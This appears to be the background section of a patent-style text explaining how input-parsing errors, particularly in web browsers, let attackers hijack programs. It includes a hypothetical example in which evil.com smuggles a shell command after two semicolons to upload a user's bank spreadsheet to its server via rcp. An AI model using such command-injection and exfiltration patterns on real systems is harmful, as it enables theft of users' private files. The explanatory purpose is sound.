Whenever a computer program accepts input from a user, another computer program or a device, it yields some degree of control to the input provider. That is, for at least a short while, the program is usually occupied with copying, inspecting and/or otherwise processing the input. This interaction is usually narrowly defined by an interface which the program exposes to the outside world and which defines a protocol by which the program will perform a very specific set of actions in response to certain input. Designers and software engineers work hard at creating these interfaces so that the interfaces provide well-defined, unambiguous functionality.
While software engineers spend a great deal of time working on input handlers, the logic involved in these code segments is often complicated and convoluted, making errors common. Nefarious individuals can exploit these errors by using carefully crafted input that causes the program to function in unintended ways. In some cases, these exploits can allow an attacker to crash a program. In other cases, it may allow the attacker to hijack the program and completely replace its behavior with an undesirable behavior. Hence, many places that a computer program accepts outside input, are potential entry points for an attacker.
One type of computer program is a web browser. Modern web browsers necessarily have a large number of potential entry points because of the large number of inputs that a browser can accept. A web browser's most fundamental job is to download text and multimedia from servers on the Internet, and render the content onscreen. Many types of downloaded data could result in an exploit if the browser does not handle them correctly. Scripts (or code segments associated with web pages) exacerbate the situation, since the scripts need to be interpreted and can interact with elements outside of the web page.
For example, suppose a user navigates to a nefarious site www.evil.com. Assume that the browser contacts the server, downloads evil.com's webpage, and attempts to render it. Unfortunately, the eponymous evil.com knows that if it calls the vulnerable function “foo” with two semicolons embedded in the input, the browser will execute any information that follows as a shell command. Evil.com's homepage therefore includes the code:
  Document.foo(“Welcome to evil.com;;rcp ‘c:\my documents\bankinfo.xls’ evil.com\repository”)
to upload a user's bank information to its server. Clearly, the function foo was not designed to upload the user's files without his or her consent. However, because the function contained a parsing error, the function allowed a malicious website to do more than the browser designer and user anticipated.